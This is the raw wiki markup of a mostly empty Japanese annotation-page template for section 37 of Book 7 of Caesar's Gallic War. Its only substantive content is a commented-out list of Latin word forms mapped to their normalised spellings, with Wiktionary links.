&lt;div style=&quot;font-family:Arial Black;font-style:normal;font-size:30pt;color:#990033;text-align:center;&quot;&gt;LIBER &amp;middot; SEPTIMVS&lt;/div&gt;
&lt;br&gt;
{| id=&quot;toc&quot; style=&quot;align:center;clear:all;&quot; align=&quot;center&quot; cellpadding=&quot;5&quot;
|-
! style=&quot;background:#bbf; text-align:center;&quot; |&amp;nbsp; [[ガリア戦記/注解編|ガリア戦記 注解編]] &amp;nbsp;
| style=&quot;background:#ccf; text-align:center;&quot; |&amp;nbsp; [[ガリア戦記 第7巻/注解|第7巻]] &amp;nbsp;
| style=&quot;background:#eef; text-align:center;&quot;|
&amp;nbsp;[[ガリア戦記 第7巻/注解/36節|36節]] |
[[ガリア戦記 第7巻/注解/37節|37節]] |
[[ガリア戦記 第7巻/注解/38節|38節]] &amp;nbsp;
|}
__notoc__
== 原文テキスト ==
&lt;div style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;color:#333;text-align:left;&quot;&gt;&lt;ref&gt;原文テキストについては[[ガリア戦記/注解編#原文テキスト]]を参照。&lt;/ref&gt; 


&lt;/div&gt;
&lt;span style=&quot;background-color:#ffc;&quot;&gt;&lt;/span&gt;
&lt;!--❶--&gt;&lt;!--❷--&gt;&lt;!--❸--&gt;&lt;!--❹--&gt;&lt;!--❺--&gt;&lt;!--❻--&gt;&lt;!--❼--&gt;&lt;!--❽--&gt;&lt;!--❾--&gt;&lt;!--❿--&gt;&lt;!--⓫--&gt;&lt;!--⓬--&gt;&lt;sup&gt;&lt;/sup&gt; 
&lt;!--  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  --&gt;
----
;テキスト引用についての注記


&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;&lt;/span&gt;

== 整形テキスト ==
&lt;div style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;color:#333;text-align:left;&quot;&gt;&lt;ref&gt;整形テキストについては[[ガリア戦記/注解編#凡例]]を参照。&lt;/ref&gt; 


&lt;/div&gt;
&lt;span style=&quot;color:#800;&quot;&gt;&lt;/span&gt;
&lt;!--❶--&gt;&lt;!--❷--&gt;&lt;!--❸--&gt;&lt;!--❹--&gt;&lt;!--❺--&gt;&lt;!--❻--&gt;&lt;!--❼--&gt;&lt;!--❽--&gt;&lt;!--❾--&gt;&lt;!--❿--&gt;&lt;!--⓫--&gt;&lt;!--⓬--&gt;&lt;sup&gt;&lt;/sup&gt; 
&lt;!--  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  --&gt;
---- 
;注記
&lt;!--
*原文の &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[wikt:en:acclivis#Latin|acclīvis]], [[wikt:en:accommodatae|accommodātae]], [[wikt:en:allatis|allātīs]], [[wikt:en:Aduatuca#Latin|Aduātucam]], [[wikt:en:Aduatuci|Aduatucī]], [[wikt:en:Aduatucis|Aduatucīs]], [[wikt:en:Aduatucos|Aduatucōs]], [[wikt:en:Aeduae|Aeduae]], [[wikt:en:Aedui#Latin|Aeduī]], [[wikt:en:Aeduis|Aeduīs]], [[wikt:en:Aeduorum|Aeduōrum]], [[wikt:en:Aeduos|Aeduōs]], [[wikt:en:Aeduus#Latin|Aeduus]], [[wikt:en:aequinocti|aequinoctī]], [[wikt:en:affecti|affectī]], [[wikt:en:affectus#Participle|affectus]], [[wikt:en:afferat|afferat]], [[wikt:en:afferebat|afferēbat]], [[wikt:en:afferret|afferret]], [[wikt:en:afferretur|afferrētur]], [[wikt:en:afflictae|afflīctae]], [[wikt:en:affligunt|afflīgunt]], [[wikt:en:aggregabat|aggregābat]], [[wikt:en:aggregaverant|aggregāverant]] ([[wikt:en:aggregarant|aggregārant]]), [[wikt:en:allato|allātō]], [[wikt:en:alliciebat#Latin|alliciēbat]], [[wikt:en:Alpis#Latin|Alpīs]], [[wikt:en:appelluntur|appelluntur]], [[wikt:en:appetebat|appetēbat]], [[wikt:en:apportari|apportārī]], [[wikt:en:applicant#Latin|applicant]], [[wikt:en:approbant#Latin|approbant]], [[wikt:en:appropinquabat|appropinquābat]], [[wikt:en:appropinquare#Latin|appropinquāre]], [[wikt:en:appropinquarent|appropinquārent]], [[wikt:en:appropinquassent|appropinquāssent]], [[wikt:en:appropinquaverunt|appropinquāvērunt]] ([[wikt:en:appropinquarunt|appropinquārunt]]), [[wikt:en:appropinquavit|appropinquāvit]], [[wikt:en:appulso#Latin|appulsō]], [[wikt:en:arripere|arripere]], [[wikt:en:articlis|articlīs]], [[wikt:en:ascendissent#Latin|ascendissent]], [[wikt:en:ascensu#Noun|ascēnsū]], [[wikt:en:assidua#Latin|assiduā]], [[wikt:en:assiduis#Latin|assiduīs]], [[wikt:en:assuefacti|assuēfactī]], [[wikt:en:assuescere#Latin|assuēscere]], [[wikt:en:attingit|attingit]], [[wikt:en:attingunt|attingunt]], [[wikt:en:attribuerat#Latin|attribuerat]], [[wikt:en:attribuit|attribuit]], [[wikt:en:attribuunt|attribuunt]], [[wikt:en:auris#Latin|aurīs]], [[wikt:en:auxili#Latin|auxilī]], [[wikt:en:cedentis|cēdentīs]], [[wikt:en:civis#Latin|cīvīs]], [[wikt:en:clientis|clientīs]], [[wikt:en:cohortis|cohortīs]], [[wikt:en:coicere|coicere]], [[wikt:en:coicerent|coicerent]], [[wikt:en:coici|coicī]], [[wikt:en:coiciant|coiciant]], [[wikt:en:coiciebant|coiciēbant]], [[wikt:en:coiciunt|coiciunt]], [[wikt:en:coiecerant|coiēcerant]], [[wikt:en:coiecerunt|coiēcērunt]], [[wikt:en:coiecisse|coiēcisse]], [[wikt:en:coiecta|coiecta]], [[wikt:en:coiecti|coiectī]], [[wikt:en:coiectis|coiectīs]], [[wikt:en:collatis|collātīs]], [[wikt:en:collaudantur|collaudantur]], [[wikt:en:collaudat|collaudat]],  [[wikt:en:collaudatis#Participle|collaudātīs]], [[wikt:en:collis#Latin|collīs]], [[wikt:en:collocabant|collocābant]], [[wikt:en:collocabat|collocābat]], [[wikt:en:collocandis|collocandīs]], [[wikt:en:collocant#Latin|collocant]], [[wikt:en:collocantur#Latin|collocantur]], [[wikt:en:collocarat|collocārat]], [[wikt:en:collocare#Latin|collocāre]], [[wikt:en:collocaret|collocāret]], [[wikt:en:collocari|collocārī]], [[wikt:en:collocatas|collocātās]], [[wikt:en:collocati#Latin|collocātī]], [[wikt:en:collocatis#Participle|collocātīs]], [[wikt:en:collocaverat#Latin|collocāverat]], [[wikt:en:collocavit|collocāvit]], [[wikt:en:collocuti|collocūtī]], [[wikt:en:colloquantur|colloquantur]], [[wikt:en:colloquendi|colloquendī]], [[wikt:en:colloqui#Latin|colloquī]], [[wikt:en:colloquium#Latin|colloquium]], [[wikt:en:communis#Latin|commūnīs]], [[wikt:en:compluribus|complūribus]], [[wikt:en:compluris|complūrīs]], [[wikt:en:comprehensis|comprehēnsīs]], [[wikt:en:comprehensos|comprehēnsōs]], [[wikt:en:conantis|cōnantīs]], [[wikt:en:consili|cōnsilī]], [[wikt:en:difficilis#Latin|difficilīs]], [[wikt:en:directus#Latin|dīrēctus]], [[wikt:en:dubitantis#Participle_2|dubitantīs]], [[wikt:en:effarciuntur#Latin|effarciuntur]], [[wikt:en:egredientis#Etymology_2|ēgredientīs]], [[wikt:en:ei#Latin|eī]], [[wikt:en:eis#Latin|eīs]], [[wikt:en:existit#Latin|existit]], [[wikt:en:expectent#Latin|expectent]], [[wikt:en:exposcentis#Participle_2|exposcentīs]], [[wikt:en:exstruxerunt#Latin|exstruxerunt]], [[wikt:en:ferventis#Latin|ferventīs]], [[wikt:en:finis#Latin|fīnīs]], [[wikt:en:glandis#Latin|glandīs]], [[wikt:en:haesitantis#Participle_2|haesitantīs]], [[wikt:en:hostis#Latin|hostīs]], [[wikt:en:ignis#Latin|ignīs]], [[wikt:en:illatas|illātās]], [[wikt:en:illustrem#Latin:_adjective|illūstrem]], [[wikt:en:immittit|immittit]], [[wikt:en:immittunt|immittunt]], [[wikt:en:imparatum|imparātum]], [[wikt:en:impedita#Latin|impedīta]], [[wikt:en:imperi#Latin|imperī]], [[wikt:en:imprudentia#Noun|imprūdentia]], [[wikt:en:incolumis#Latin|incolumīs]], [[wikt:en:indignantis#Participle_2|indignantīs]], [[wikt:en:inopinantis#Adjective_2|inopīnantīs]], [[wikt:en:irridere#Latin|irrīdēre]], [[wikt:en:irrumpere|irrumpere]], [[wikt:en:irrumpit|irrumpit]], [[wikt:en:irruperunt|irrūpērunt]], [[wikt:en:laborantis#Etymology_2|labōrantīs]], [[wikt:en:montis|montīs]], [[wikt:en:natalis#Latin|nātālīs]], [[wikt:en:navis#Latin|nāvīs]], [[wikt:en:negoti|negōtī]], nōn nūllae, nōn nūllōs, [[wikt:en:offici#Noun_2|officī]], [[wikt:en:omnis#Latin|omnīs]], [[wikt:en:partis#Latin|partīs]], [[wikt:en:periclum#Latin|perīclum]], plūrīs, [[wikt:en:praesidi|praesidī]], [[wikt:en:proeli|proelī]], proficīscentīs, [[wikt:en:resistentis|resistentīs]], [[wikt:en:singularis#Latin|singulārīs]], [[wikt:en:solaci|sōlācī]], [[wikt:en:spati#Latin|spatī]], [[wikt:en:subeuntis|subeuntīs]], [[wikt:en:suffossis|suffossīs]], [[wikt:en:sumministrata|sumministrāta]], [[wikt:en:summissis|summissīs]], [[wikt:en:summittantur#Latin|summittantur]], [[wikt:en:summittebat|summittēbat]], [[wikt:en:summittit|summittit]], [[wikt:en:summotis|summōtīs]], [[wikt:en:summoveri|summovērī]], [[wikt:en:supplici#Noun|supplicī]], [[wikt:en:testis#Latin|testīs]], [[wikt:en:timentis#Participle_2|timentīs]], [[wikt:en:Tituri|Titūrī]], [[wikt:en:Trinobantes#Latin|Trinobantēs]], trīs, [[wikt:en:turris#Latin|turrīs]], [[wikt:en:utilis#Latin|ūtilīs]], [[wikt:en:vectigalis#Latin|vectīgālīs]]  &lt;/span&gt; などは、&lt;br&gt;それぞれ &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[wikt:en:adclivis#Latin|adclīvis]], [[wikt:en:adcommodatae|adcommodātae]], [[wikt:en:adlatis|adlātīs]], Atuātucam, [[wikt:de:Atuatuci|Atuatucī]], Atuatucīs, Atuatucōs, Haeduae, [[wikt:en:Haedui|Haeduī]], [[wikt:en:Haeduis|Haeduīs]], [[wikt:en:Haeduorum|Haeduōrum]], [[wikt:en:Haeduos|Haeduōs]], Haeduus, [[wikt:en:aequinoctii|aequinoctiī]], [[wikt:en:adfecti|adfectī]], [[wikt:en:adfectus#Adjective|adfectus]], [[wikt:en:adferat|adferat]], [[wikt:en:adferebat|adferēbat]], [[wikt:en:adferret|adferret]], [[wikt:en:adferretur|adferrētur]], [[wikt:en:adflictae|adflīctae]], [[wikt:en:adfligunt|adflīgunt]], [[wikt:en:adgregabat|adgregābat]], [[wikt:en:adgregaverant|adgregāverant]] ([[wikt:en:adgregarant|adgregārant]]), [[wikt:en:adlato|adlātō]], [[wikt:en:adliciebat#Latin|adliciēbat]], [[wikt:en:Alpes#Latin|Alpēs]], [[wikt:en:adpelluntur|adpelluntur]], [[wikt:en:adpetebat|adpetēbat]], [[wikt:en:adportari|adportārī]], [[wikt:en:adplicant|adplicant]], [[wikt:en:adprobant#Latin|adprobant]], [[wikt:en:adpropinquabat|adpropinquābat]], [[wikt:en:adpropinquare|adpropinquāre]], [[wikt:en:adpropinquarent|adpropinquārent]], [[wikt:en:adpropinquassent|adpropinquāssent]], [[wikt:en:adpropinquaverunt|adpropinquāvērunt]] ([[wikt:en:adpropinquarunt|adpropinquārunt]]), [[wikt:en:adpropinquavit|adpropinquāvit]], [[wikt:en:adpulso|adpulsō]], [[wikt:en:adripere|adripere]], [[wikt:en:articulis|articulīs]], [[wikt:en:adscendissent|adscendissent]], [[wikt:en:adscensu#Noun|adscēnsū]], [[wikt:en:adsidua|adsiduā]], [[wikt:en:adsiduis#Latin|adsiduīs]], [[wikt:en:adsuefacti|adsuēfactī]], [[wikt:en:adsuescere#Latin|adsuēscere]], [[wikt:en:adtingit|adtingit]], [[wikt:en:adtingunt|adtingunt]], [[wikt:en:adtribuerat#Latin|adtribuerat]], [[wikt:en:adtribuit|adtribuit]], [[wikt:en:adtribuunt|adtribuunt]], [[wikt:en:aures#Noun|aurēs]], [[wikt:en:auxilii|auxiliī]], [[wikt:en:cedentes#Latin|cēdentēs]], [[wikt:en:cives#Latin|cīvēs]], [[wikt:en:clientes#Latin|clientēs]], [[wikt:en:cohortes#Latin|cohortēs]], [[wikt:en:conicere|conicere]], [[wikt:en:conicerent|conicerent]], [[wikt:en:conici#Latin|conicī]], [[wikt:en:coniciant|coniciant]], [[wikt:en:coniciebant|coniciēbant]], [[wikt:en:coniciunt|coniciunt]], [[wikt:en:coniecerant|coniēcerant]], [[wikt:en:coniecerunt|coniēcērunt]], [[wikt:en:coniecisse|coniēcisse]], [[wikt:en:coniecta|coniecta]], [[wikt:en:coniecti|coniectī]], [[wikt:en:coniectis|coniectīs]], [[wikt:en:conlatis|conlātīs]], [[wikt:en:conlaudantur|conlaudantur]], [[wikt:en:conlaudat|conlaudat]], [[wikt:en:conlaudatis#Participle|conlaudātīs]], [[wikt:en:colles#Latin|collēs]], [[wikt:en:conlocabant|conlocābant]], [[wikt:en:conlocabat|conlocābat]], [[wikt:en:conlocandis|conlocandīs]], [[wikt:en:conlocant|conlocant]], [[wikt:en:conlocantur#Latin|conlocantur]], [[wikt:en:conlocarat|conlocārat]], [[wikt:en:conlocare|conlocāre]], [[wikt:en:conlocaret|conlocāret]], [[wikt:en:conlocari|conlocārī]], [[wikt:en:conlocatas|conlocātās]], [[wikt:en:conlocati|conlocātī]], [[wikt:en:conlocatis#Participle|conlocātīs]], [[wikt:en:conlocaverat#Latin|conlocāverat]], [[wikt:en:conlocavit|conlocāvit]], [[wikt:en:conlocuti|conlocūtī]], [[wikt:en:conloquantur|conloquantur]], [[wikt:en:conloquendi|conloquendī]], [[wikt:en:conloqui#Latin|conloquī]], [[wikt:en:conloquium#Latin|conloquium]], [[wikt:en:communes#Latin|commūnēs]], [[wikt:en:conpluribus|conplūribus]], [[wikt:en:complures#Latin|complūrēs]], [[wikt:en:conprehensis|conprehēnsīs]], [[wikt:en:conprehensos|conprehēnsōs]], [[wikt:en:conantes|cōnantēs]], [[wikt:en:consilii|cōnsiliī]], [[wikt:en:difficiles#Latin|difficilēs]], [[wikt:en:derectus#Latin|dērēctus]], [[wikt:en:dubitantes|dubitantēs]], [[wikt:en:efferciuntur#Latin|efferciuntur]], [[wikt:en:egredientes|ēgredientēs]], [[wikt:en:ii#Latin|iī]], [[wikt:en:iis#Latin|iīs]], [[wikt:en:exsistit|exsistit]], [[wikt:en:exspectent#Latin|exspectent]], [[wikt:en:exposcentes#Latin|exposcentēs]], [[wikt:en:extruxerunt#Latin|extruxerunt]], [[wikt:en:ferventes#Latin|ferventēs]], [[wikt:en:fines#Latin|fīnēs]], [[wikt:en:glandes#Latin|glandēs]], [[wikt:en:haesitantes#Latin|haesitantēs]], [[wikt:en:hostes#Latin|hostēs]], [[wikt:en:ignes|ignēs]], [[wikt:en:inlatas|inlātās]], [[wikt:en:inlustrem#Latin:_adjective|inlūstrem]], [[wikt:en:inmittit|inmittit]], [[wikt:en:inmittunt|inmittunt]], [[wikt:en:inparatum|inparātum]], [[wikt:en:inpedita#Latin|inpedīta]], [[wikt:en:imperii#Latin|imperiī]], [[wikt:en:inprudentia#Noun|inprūdentia]], [[wikt:en:incolumes|incolumēs]], [[wikt:en:indignantes#Latin|indignantēs]], [[wikt:en:inopinantes|inopīnantēs]], [[wikt:en:inridere|inrīdēre]], [[wikt:en:inrumpere|inrumpere]], [[wikt:en:inrumpit|inrumpit]], [[wikt:en:inruperunt|inrūpērunt]], [[wikt:en:laborantes#Latin|labōrantēs]], [[wikt:en:montes#Latin|montēs]], [[wikt:en:natales#Latin|nātālēs]], [[wikt:en:naves#Latin|nāvēs]], [[wikt:en:negotii|negōtiī]], [[wikt:en:nonnullae|nōnnūllae]], [[wikt:en:nonnullos|nōnnūllōs]], [[wikt:en:officii#Latin|officiī]], [[wikt:en:omnes#Latin|omnēs]], [[wikt:en:partes#Latin|partēs]], [[wikt:en:periculum#Latin|perīculum]], [[wikt:en:plures|plūrēs]], [[wikt:en:praesidii|praesidiī]], [[wikt:en:proelii|proeliī]],  [[wikt:en:proficiscentes|proficīscentēs]], [[wikt:en:resistentes#Latin|resistentēs]], [[wikt:en:singulares#Latin|singulārēs]], [[wikt:en:solacii|sōlāciī]], [[wikt:en:spatii#Latin|spatiī]], [[wikt:en:subeuntes|subeuntēs]], [[wikt:en:subfossis|subfossīs]], [[wikt:en:subministrata|subministrāta]], [[wikt:en:submissis|submissīs]], [[wikt:en:submittantur#Latin|submittantur]], [[wikt:en:submittebat|submittēbat]], [[wikt:en:submittit|submittit]], [[wikt:en:submotis|submōtīs]], [[wikt:en:submoveri|submovērī]], [[wikt:en:supplicii|suppliciī]], [[wikt:en:testes#Latin|testēs]], [[wikt:en:timentes|timentēs]], [[wikt:en:Titurii|Titūriī]], [[wikt:en:Trinovantes#Latin|Trinovantēs]], [[wikt:en:tres#Latin|trēs]], [[wikt:en:turres#Latin|turrēs]], [[wikt:en:utiles#Latin|ūtilēs]], [[wikt:en:vectigales|vectīgālēs]]  &lt;/span&gt; などとした。
--&gt;


&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color:#b00;&quot;&gt;&lt;/span&gt; 
&lt;span style=&quot;color:#800;&quot;&gt;&lt;/span&gt; 
&lt;span style=&quot;font-size:10pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;

== 注解 ==
=== 1項 ===
&lt;span style=&quot;font-family:Times New Roman;font-size:20pt;&quot;&gt;&lt;/span&gt;

;語釈


&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;background-color:#fff;&quot;&gt;&lt;/span&gt;

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;&lt;/span&gt;

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;&lt;/span&gt;


&lt;span style=&quot;background-color:#ccffcc;&quot;&gt;&lt;/span&gt;

&lt;!--
;対訳
《　》　内は、訳者が説明のために補った語。&lt;span style=&quot;font-family:Times New Roman;font-size:30pt;&quot;&gt;{&lt;/span&gt;　&lt;span style=&quot;font-family:Times New Roman;font-size:30pt;&quot;&gt;}&lt;/span&gt;　内は関係文。

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;&lt;/span&gt;
--&gt;

== 訳文 ==
*&lt;span style=&quot;background-color:#dff;&quot;&gt;訳文は、[[ガリア戦記_第7巻#37節]]&lt;/span&gt;

== 脚注 ==
{{Reflist}}
== 解説 ==


&lt;!--

{| class=&quot;wikitable&quot; style=&quot;text-align:center&quot;
|- style=&quot;height:23em;&quot; 
|
|
|}

--&gt;

== 関連項目 ==
*[[ガリア戦記]]
**[[ガリア戦記/注解編]]
***[[ガリア戦記 第7巻/注解]]
**[[ガリア戦記/用例集]]

== 関連記事 ==
== 外部リンク ==


[[Category:ガリア戦記 第7巻|37節]]</text>
      <sha1>0stfjoixc50rbhixjl7t8q60u7n2lq4</sha1>
    </revision>
  </page>
</mediawiki>